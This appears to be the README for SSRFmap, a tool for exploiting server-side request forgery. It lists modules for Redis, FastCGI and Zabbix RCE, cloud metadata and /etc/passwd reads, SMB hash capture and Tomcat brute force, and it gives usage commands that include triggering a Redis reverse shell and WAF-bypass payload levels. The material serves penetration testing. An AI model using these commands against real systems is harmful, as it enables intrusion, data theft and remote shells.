SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.
The following modules are already implemented and can be used with the -m argument.
| Name | Description |
|---|---|
axfr |
DNS zone transfers (AXFR) |
fastcgi |
FastCGI RCE |
redis |
Redis RCE |
github |
Github Enterprise RCE < 2.8.7 |
zabbix |
Zabbix RCE |
mysql |
MySQL Command execution |
postgres |
Postgres Command execution |
docker |
Docker Infoleaks via API |
smtp |
SMTP send mail |
portscan |
Scan top 8000 ports for the host |
networkscan |
HTTP Ping sweep over the network |
readfiles |
Read files such as /etc/passwd |
alibaba |
Read files from the provider (e.g: meta-data, user-data) |
aws |
Read files from the provider (e.g: meta-data, user-data) |
gce |
Read files from the provider (e.g: meta-data, user-data) |
digitalocean |
Read files from the provider (e.g: meta-data, user-data) |
socksproxy |
SOCKS4 Proxy |
smbhash |
Force an SMB authentication via a UNC Path |
tomcat |
Bruteforce attack against Tomcat Manager |
custom |
Send custom data to a listening service, e.g: netcat |
memcache |
Store data inside the memcache instance |

First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap. They should look like the following. More examples are available in the ./examples folder.
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

url=https%3A%2F%2Fwww.google.frUse the -m followed by module name (separated by a , if you want to launch several modules).
# Launch a portscan on localhost and read default files
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscanIf you want to inject inside a header, a GET or a POST parameter, you only need to specify the parameter name
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/testIf you need to have a custom user-agent use the --uagent. Some targets will use HTTPS, you can enable it with --ssl.
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell.
# Triggering a reverse shell on a Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payloadWhen the target is protected by a WAF or some filters you can try a wide range of payloads and encoding with the parameter --level.
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...A quick way to test the framework can be done with data/example.py SSRF service.
